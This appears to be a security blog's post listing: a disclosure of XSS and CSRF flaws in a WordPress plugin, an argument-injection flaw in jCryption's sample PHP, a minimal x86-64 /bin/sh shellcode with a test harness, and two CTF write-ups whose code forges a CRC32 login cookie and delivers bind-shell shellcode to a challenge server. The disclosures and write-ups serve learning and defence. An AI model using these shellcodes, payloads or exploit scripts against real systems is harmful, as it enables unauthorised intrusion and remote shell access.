System Overlord

A blog about security engineering, research, and general hacking.

CVE-2014-4182 & CVE-2014-4183: XSS & XSRF in Wordpress 'Diagnostic Tool' Plugin

Versions less than 1.0.7 of the Wordpress plugin Diagnostic Tool, contain several vulnerabilities:

  1. Persistent XSS in the Outbound Connections view. An attacker that is able to cause the site to request a URL containing an XSS payload will have this XSS stored in the database, and when an admin visits the Outbound Connections view, the payload will run. This can be trivially seen in example by running a query for http://localhost/<script>alert(/xss/)</script> on that page, then refreshing the page to see the content run, as the view is not updated in real time. This is CVE-2014-4183.

  2. Reflected XSS in DNS resolver test page. When a reverse lookup is performed, the results of gethostbyaddr() are inserted into the DOM unescaped. An attacker who (mis-) configures a DNS server to send an XSS payload as a reverse lookup may be able to either trick the administrator into performing a lookup, or (more likely) use the CSRF vulnerability documented below to trigger the XSS.

  3. AJAX handlers do not have any CSRF protection on them. This allows an attacker to trigger the server into sending test emails (low severity), perform DNS lookups (high severity when combined with the reflected XSS above) and request the loading of pages by the server (including URLs that contain XSS payloads, triggering the persistent XSS documented above). Additionally, the last 2 vulnerabilities could be used to trigger an information leak for Wordpress servers that are behind a DDoS protection service (e.g., Cloudflare) or are being run as TOR anonymous services by forcing the server to request a page from the attacker’s server or perform a DNS query against the attackers DNS server, allowing the attacker to learn the real IP of the server hosting Wordpress. This is CVE-2014-4182.

Timeline:

  • 2014/06/15: Vulnerabilities discovered & reported to developers.
  • 2014/06/30: Developers release Diagnostic Tool 1.0.7, fixing issues.
  • 2014/07/04: Public disclosure.

Parameter Injection in jCryption

jCryption is an open-source plugin for jQuery that is used for performing encryption on the client side that can be decrypted server side. It works by retrieving an RSA key from the server, then encrypting an AES key under the RSA key, and sending both the encrypted AES key and the RSA key to the server. This is not dissimilar to how OpenPGP encrypts data for transmission. (Though, of course, implementation details are vastly different.)

jCryption comes with PHP and perl code demonstrating the decryption server-side, and while not packaged as ready-to-use libraries, it is likely that most users used the sample code for the server-side implementation. While the code used proc_open, which doesn’t allow command injection (it’s not being run through a shell, so shell metacharacters aren’t relevant) still allows an attacker to modify the arguments being passed to the command.

Originally, the code used constructs like:

1
2
#!php
$cmd = sprintf("openssl enc -aes-256-cbc -pass pass:'$key' -a -e");

Because $key can be attacker-controlled, an attacker can close the pass string early, and add additional openssl parameters there. This includes, for example, the ability to read the jCryption RSA private key, allowing an attacker to read any traffic sent with jCryption that they have captured (or capture in the future).

I reported this issue late last night, and Daniel Griesser, the author of jCryption, replied shortly thereafter, confirming he was looking into the matter. By this morning, he had created a fix and pushed a new release out. It speaks very highly of a developer when they’re able to respond so quickly to a security concern.

For the curious, it was fixed by escaping the shell argument using escapeshellarg:

1
2
#!php
$cmd = sprintf("openssl enc -aes-256-cbc -pass pass:" . escapeshellarg($key) . " -a -e");

I’m not releasing a PoC that does the actual crypto steps at this point, I want to make sure sites have had a chance to upgrade.


Minimal x86-64 shellcode for /bin/sh?

I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: \x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05.

This was produced from the following source:

1
2
3
4
5
6
7
8
9
10
11
12
13
BITS 64

main:
  mov rbx, 0xFF978CD091969DD1
  neg rbx
  push rbx
  xor eax, eax
  cdq
  xor esi, esi
  push rsp
  pop rdi
  mov al, 0x3b  ; sys_execve
  syscall

Compile with nasm, examine the output with objdump -M intel -b binary -m i386:x86-64 -D shellcode.

Here’s a program for testing:

1
2
3
4
5
6
7
8
9
10
#include <sys/mman.h>
#include <stdint.h>

char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";

int main(){
  mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
  (*(void(*)()) code)();
  return 0;
}

I’d like to find a good tool to compile my shellcode, extract as hex, build a test bin, and run it, all in one. Should be a trivial python script, actually.


Secuinside Quals 2014: Simple Login

In this challenge, we received the source for a site with a pretty basic login functionality. Aside from some boring forms, javascript, and css, we have this PHP library for handling the session management:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!php
<?
	class common{
		public function getidx($id){
			$id = mysql_real_escape_string($id);
			$info = mysql_fetch_array(mysql_query("select idx from member where id='".$id."'"));
			return $info[0];
		}

		public function getpasswd($id){
			$id = mysql_real_escape_string($id);
			$info = mysql_fetch_array(mysql_query("select password from member where id='".$id."'"));
			return $info[0];
		}

		public function islogin(){
			if( preg_match("/[^0-9A-Za-z]/", $_COOKIE['user_name']) ){
	 			exit("cannot be used Special character");
			}

			if( $_COOKIE['user_name'] == "admin" )	return 0;

			$salt = file_get_contents("../../long_salt.txt");

			if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){
				return 1;
			}

			return 0;
		}

		public function autologin(){

		}

		public function isadmin(){
			if( $this->getidx($_COOKIE['user_name']) == 1){
				return 1;
			}

			return 0;
		}

		public function insertmember($id, $password){
			$id = mysql_real_escape_string($id);
			mysql_query("insert into member(id, password) values('".$id."', '".$password."')") or die();

			return 1;
		}
	}
?>

Some first impressions:

  • MySQL calls seem to be properly escaped.
  • The auth cookie is using the super-weak crc32.
  • Setting the user_name cookie to ‘admin’ won’t work out for us.

In index.php, we see:

1
2
3
4
#!php
if($common->islogin()){
        if($common->isadmin())  $f = "Flag is : ".__FLAG__;
        else $f = "Hello, Guest!";

So, presumably, the correct user is actually ‘admin’, but we can’t log in as that. So what to do? Well, after playing around for a bit, I realized one important point. By default, MySQL uses case-insensitive string comparisons but, of course, PHP’s == operator is case-sensitive. So a mixed-case version of admin will pass the test in islogin() but will return the user we want in getidx(), but we can’t log in as any variation of admin as the password will still be needed.

That brings us to the hash. Perhaps we could fake the hash for an uppercased admin user? While we could probably brute force the salt, that would take a while. However, crc32 is vulnerable to trivial hash length extension attacks, if you can set the internal state to an existing hash. That is: crc32(a+b) == crc32(b, crc32(a)). So, since the salt is at the beginning, if we have the crc32 for a user, we can easily concatenate anything on the end and still generate a valid hash. (Assuming an implementation of crc32 that allows you to set the existing internal state.)

One rub: while python allows you to set the state, it doesn’t implement the same CRC-32 as PHP! (I thought there was only one CRC-32, but apparently the one in python’s binascii and zlib modules is the zlib CRC-32, and the PHP hash one is the bz2 CRC-32.) So I was able to find the relevant lookup table for the BZ2 crc-32 and write this implementation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!python
import struct

crc_table = [
   0x00000000L, 0x04c11db7L, 0x09823b6eL, 0x0d4326d9L,
   ...snip...
   0xbcb4666dL, 0xb8757bdaL, 0xb5365d03L, 0xb1f740b4L
]


def bzcrc(s, init=None):
  if init:
    state = struct.unpack('>I', struct.pack('<I', ~init & 0xffffffff))[0]
  else:
    state = 0xffffffff
  for c in s:
    state = state & 0xffffffff
    state = ((state << 8) ^ (crc_table[(state >> 24) ^ (ord(c))]))
  return hex(struct.unpack('>I', struct.pack('<I', ~state & 0xffffffff))[0])

And yes, I do some weird stuff with byte-order swapping, but it works for the one off. So, we logged in as the user ‘a’, got a hash, then changed the user_name cookie to aDMIN, and calculated the new hash via: bzcrc('DMIN', <existing hash>). Updated the hash cookie, refresh, and we’ve got a flag.


Secuinside Quals 2014: Shellcode 100

This is a level that, at first, seemed like it would be extremely simple, but then turned out to be far more complicated than expected. We were provided a zip file containing a python script and an elf binary.

Disassembling the binary reveals a very basic program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/ (fcn) sym.main 165
|                0x0804847d    55           push ebp
|                0x0804847e    89e5         mov ebp, esp
|                0x08048480    83e4f0       and esp, 0xfffffff0
|                0x08048483    83ec30       sub esp, 0x30
|                0x08048486    8b450c       mov eax, [ebp+0xc]
|                0x08048489    83c004       add eax, 0x4
|                0x0804848c    8b00         mov eax, [eax]
|                0x0804848e    890424       mov [esp], eax
|                ; CODE (CALL) XREF from 0x08048376 (fcn.08048376)
|                ; CODE (CALL) XREF from 0x08048370 (fcn.08048366)
|                0x08048491    e8dafeffff   call 0x108048370 ; (sym.imp.atoi)
|                   sym.imp.atoi(unk)
|                0x08048496    89442428     mov [esp+0x28], eax
|                0x0804849a    c7442424000. mov dword [esp+0x24], 0x0
|                0x080484a2    c7442408040. mov dword [esp+0x8], 0x4
|                0x080484aa    8d442424     lea eax, [esp+0x24]
|                0x080484ae    89442404     mov [esp+0x4], eax
|                0x080484b2    8b442428     mov eax, [esp+0x28]
|                0x080484b6    890424       mov [esp], eax
|                ; CODE (CALL) XREF from 0x08048330 (fcn.0804832c)
|                0x080484b9    e872feffff   call 0x108048330 ; (sym.imp.read)
|                   sym.imp.read()
|                0x080484be    8b442424     mov eax, [esp+0x24]
|                0x080484c2    c7442414000. mov dword [esp+0x14], 0x0
|                0x080484ca    c7442410fff. mov dword [esp+0x10], 0xffffffff
|                0x080484d2    c744240c220. mov dword [esp+0xc], 0x22
|                0x080484da    c7442408070. mov dword [esp+0x8], 0x7
|                0x080484e2    89442404     mov [esp+0x4], eax
|                0x080484e6    c7042400000. mov dword [esp], 0x0
|                ; CODE (CALL) XREF from 0x08048350 (fcn.08048346)
|                0x080484ed    e85efeffff   call 0x108048350 ; (sym.imp.mmap)
|                   sym.imp.mmap()
|                0x080484f2    8944242c     mov [esp+0x2c], eax
|                0x080484f6    8b442424     mov eax, [esp+0x24]
|                0x080484fa    89442408     mov [esp+0x8], eax
|                0x080484fe    8b44242c     mov eax, [esp+0x2c]
|                0x08048502    89442404     mov [esp+0x4], eax
|                0x08048506    8b442428     mov eax, [esp+0x28]
|                0x0804850a    890424       mov [esp], eax
|                0x0804850d    e81efeffff   call 0x108048330 ; (sym.imp.read)
|                   sym.imp.read()
|                0x08048512    31c0         xor eax, eax
|                0x08048514    31c9         xor ecx, ecx
|                0x08048516    31d2         xor edx, edx
|                0x08048518    31db         xor ebx, ebx
|                0x0804851a    31f6         xor esi, esi
|                0x0804851c    31ff         xor edi, edi
\                0x0804851e    ff64242c     jmp dword [esp+0x2c]

It takes a single argument, an integer, which it uses as a file descriptor for input. It then reads 4 bytes from the file descriptor, mmap’s an anonymous block of memory of that size with RWX permissions, then reads that many bytes from the file descriptor into the mapped region, and finally jumps to the map region. So, in summary, read shellcode length, read shellcode, then jump to shellcode.

So, let’s look at the python script responsible for launching the program and reading the input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
import os, signal, struct, binascii
from sys import stdin, stdout

UI = lambda a : struct.unpack('I', a)[0]
PI = lambda a : struct.pack('I', a)

def crc32(data, salt) :
    return PI(binascii.crc32(salt + data) & 0xffffffff)

def main() :
    signal.alarm(25)

    salt = os.urandom(10)
    print 'salt:', salt.encode('hex')
    stdout.flush()

    n = UI(stdin.read(4))
    data = ''.join(crc32(stdin.read(UI(stdin.read(4))), salt) for _ in xrange(n))

    fi, fo = os.pipe()
    if not os.fork() :
        os.execl('/home/sc/thisisnotbad', 'thisisnotbad', '%d' % fi)
    else :
        os.write(fo, PI(len(data)))
        os.write(fo, data)

if __name__ == '__main__' :
    main()

As you can tell, it provides a 10 byte salt, then reads in 4 bytes (n), then finally reads n blocks prefixed by a 4-byte length. Next, for each block, it computes the crc32 of the block with the salt prepended. Finally, the crc32s are concatenated as the shellcode to be executed.

So, to get useful shellcode, we have to mount a preimage attack on CRC-32. Fortunately, CRC-32 is not a cryptographically secure hash, and Julien Tinnes has done the heavy lifting for us. So, we can take our shellcode as the desired CRC32s and compute the preimage of salt+preimage vector (4 bytes), then break the result into 4 byte chunks and send them along with appropriate lengths.

I wrote a little C program to use the calcvect.c from tweakcrc to compute the preimages given the salt, then used python for all the socket communications. (Because why do sockets in C when you can avoid it?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!c
#include "crc32.h"
#include <string.h>
#include <stdio.h>
#include <arpa/inet.h>

/*
const char *shellcode = "\x31\xc0\x50\x68"
                        "\x2f\x2f\x73\x68"
                        "\x68\x2f\x62\x69"
                        "\x6e\x89\xe3\x50"
                        "\x53\x89\xe1\xb0"
                        "\x0b\xcd\x80\x90";
*/

unsigned char shellcode[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a"
"\x02\x89\xe1\xb0\x66\xcd\x80\x5b"
"\x5e\x52\x68\x02\x00\x16\x9d\x6a"
"\x10\x51\x50\x89\xe1\x6a\x66\x58"
"\xcd\x80\x89\x41\x04\xb3\x04\xb0"
"\x66\xcd\x80\x43\xb0\x66\xcd\x80"
"\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x89\xe1\xb0\x0b\xcd\x80\x90\x90";


#define SC_LEN 80
#define CHUNK_SIZE 4

char shellcode_out[SC_LEN];

char tmpbuf[14];

unsigned int    tweakcrc(void *map, int length, unsigned int target, unsigned int offset);


void decode_hex(char *dst, const char *src) {
  int i;
  for (i=0; i<strlen(src)/2; i ++)
    sscanf(&(src[i*2]), "%2hhx", &dst[i]);
}


int main(int argc, char **argv) {
  int i;
  int target;
  decode_hex(tmpbuf, argv[1]);
  gen_table();

  for (i=0; i<(SC_LEN/CHUNK_SIZE); i++){
    *(int *)(tmpbuf + 10) = 0;
    //for (k=0; k<14; k++)
      //fprintf(stderr, "%02hhx", tmpbuf[k]);
    //fprintf(stderr, "\n");
    target = *((int *)&shellcode[i*CHUNK_SIZE]);
    //target = htonl(target);
    //fprintf(stderr, "Target: %08x\n", target);
    tweakcrc(tmpbuf, 14, target, 10);
    
    //for (k=0; k<14; k++)
      //fprintf(stderr, "%02hhx", tmpbuf[k]);
    //fprintf(stderr, "\n");
    memcpy(&shellcode_out[i*CHUNK_SIZE], tmpbuf+10, 4);
  }

  for (i=0; i<SC_LEN; i++)
    printf("%02hhx", shellcode_out[i]);
  printf("\n");
  return 0;
}

You might notice a commented out shellcode. At first, I just tried a basic x86 shell exec, but stdin/stdout do not seem to connect through to the shellcode. I didn’t dig into why, just replaced my shellcode with linux/x86/shell_bind_tcp from Metasploit.

To chunk and send my payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!python
import socket
import subprocess
import struct
import binascii


def crc32(data, salt):
  #print (salt+data).encode('hex')
  v = struct.pack('I', binascii.crc32(salt + data) & 0xffffffff)
  #print v.encode('hex')
  return v

REMOTE = ('54.178.232.195', 5757)
#REMOTE = ('localhost', 5555)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(REMOTE)
print 'Connected.'
salt = s.recv(1024).strip().split(':')[1].strip()
print 'Salt: %s' % salt

shellcode = subprocess.check_output(
    ('./shellcode', salt)).strip()
print 'Shellcode: %s' % shellcode
shellcode = shellcode.decode('hex')

def send(what):
  print what.encode('hex')
  return s.send(what)

def chunks(sc):
  return [sc[x:x+4] for x in xrange(0, len(sc), 4)]

nc = len(shellcode)/4

shellcode = ''.join('\x04\x00\x00\x00' + c for c in chunks(shellcode))

l = send(struct.pack('I', nc) + shellcode)
print 'Shellcode %d done.' % l

You might notice both programs have a lot of debugging print statements. Getting the endianness just right, tweaking the payload chunking, etc., consumed far more time than figuring out what the problem was.